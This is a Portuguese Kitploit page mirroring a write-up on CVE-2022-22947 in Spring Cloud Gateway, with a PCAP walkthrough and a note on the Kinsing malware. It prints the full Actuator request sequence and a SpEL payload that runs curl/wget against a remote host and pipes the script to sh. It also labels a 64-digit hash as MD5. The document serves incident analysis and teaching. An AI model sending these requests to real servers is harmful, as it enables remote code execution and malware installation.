Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22947 — Análise detalhada e guia de exploração da CVE-2022-22947, uma vulnerabilidade de injeção SpEL no Spring Cloud Gateway que leva a RCE, incluindo análise de PCAP e investigação do malware Kinsing. | Kitploit
Ferramentas/GitHubGitHub/sumitpathania03/cve-2022-22947
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAnálise de MalwarePapers e PesquisaAprendizado e EducaçãoArchived
GitHubsumitpathania03/cve-2022-22947

CVE-2022-22947

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise detalhada e guia de exploração da CVE-2022-22947, uma vulnerabilidade de injeção SpEL no Spring Cloud Gateway que leva a RCE, incluindo análise de PCAP e investigação do malware Kinsing.

Ver Repositório
há 2 anosAinda não revisado

CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) No primeiro trimestre de 2022, foi descoberta uma vulnerabilidade interessante e crítica (pontuação base de 10.0) de injeção de código no Spring Cloud Gateway, aproveitando a API Actuator para realizar injeção SpEL, potencialmente levando ao comprometimento do sistema. Versões do Spring Cloud Gateway anteriores a 3.1.1+ e 3.0.7+ No Spring Cloud Gateway, as aplicações são vulneráveis a um ataque de injeção de código SE: O endpoint Actuator do Gateway estiver ativado, exposto e não seguro.

GRÁFICO DO FLUXO DA VULNERABILIDADE

spring

ANÁLISE DE PCAP

  1. O ATACANTE ENVIARÁ UMA REQUISIÇÃO POST + JSON PARA CRIAÇÃO DE UMA NOVA ROTA NO GATEWAY E, COM O ARQUIVO DE CONFIGURAÇÃO JSON, ESTÁ CONFIGURANDO O CABEÇALHO DE RESPOSTA DESSA ROTA
root@kitploit:~
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372

{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}

RESPOSTA:

root@kitploit:~
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0

COMO PODEMOS VER NO ARQUIVO JSON, ESTAMOS OBTENDO O VALOR DO CABEÇALHO DE RESPOSTA AO EXECUTAR ESTA EXPRESSÃO 
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]

E PODEMOS VER NO MÉTODO exec() que há um comando composto para execução remota de código.

  1. EM SEGUIDA, O ATACANTE ENVIA UMA REQUISIÇÃO POST PARA ATUALIZAR TODAS AS ROTAS
root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RESPOSTA:

root@kitploit:~
HTTP/1.1 200 OK
  1. EM SEGUIDA, O ATACANTE ENVIA UMA REQUISIÇÃO GET NA ROTA RECÉM-CRIADA PARA EXECUTAR O COMANDO RCE NO CABEÇALHO DE RESPOSTA
root@kitploit:~
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json

RESPOSTA:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202

{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}

RESPOSTA 200 OK INDICA QUE O COMANDO RCE FOI EXECUTADO COM SUCESSO

  1. EM SEGUIDA, O ATACANTE ENVIARÁ UMA REQUISIÇÃO DELETE PARA EXCLUIR ESSA ROTA
root@kitploit:~
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RESPOSTA:

root@kitploit:~
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK INDICOU QUE A ROTA FOI EXCLUÍDA COM SUCESSO 

DADOS DE LOG

##SHELLCODE DECODIFICADO:

root@kitploit:~
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip

{
	 "id": "BuOHOGeywH",
	 "filters": [{
	   "name": "AddResponseHeader",
	   "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
	   }],
	 "uri": "http://example.com",
	 "order": 0
	}

APÓS DECODIFICAR ESTE SHELLCODE, ENCONTREI UMA URL WGET DE UM SCRIPT. ENTÃO, BAIXEI MANUALMENTE ESSE SCRIPT E, APÓS ANALISAR ESSE SCRIPT, ENCONTREI UMA URL DE DOWNLOAD DO MALWARE KINSING

SP

E DESSA URL, BAIXEI O MALWARE KINSING EM UM ARQUIVO ZIP PARA ANÁLISE ADICIONAL. DEPOIS DISSO, ANALISEI VALOR MD5=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c DESSE MALWARE E AQUI ESTÁ O QUE ENCONTREI

SP

SP

Baixar ferramenta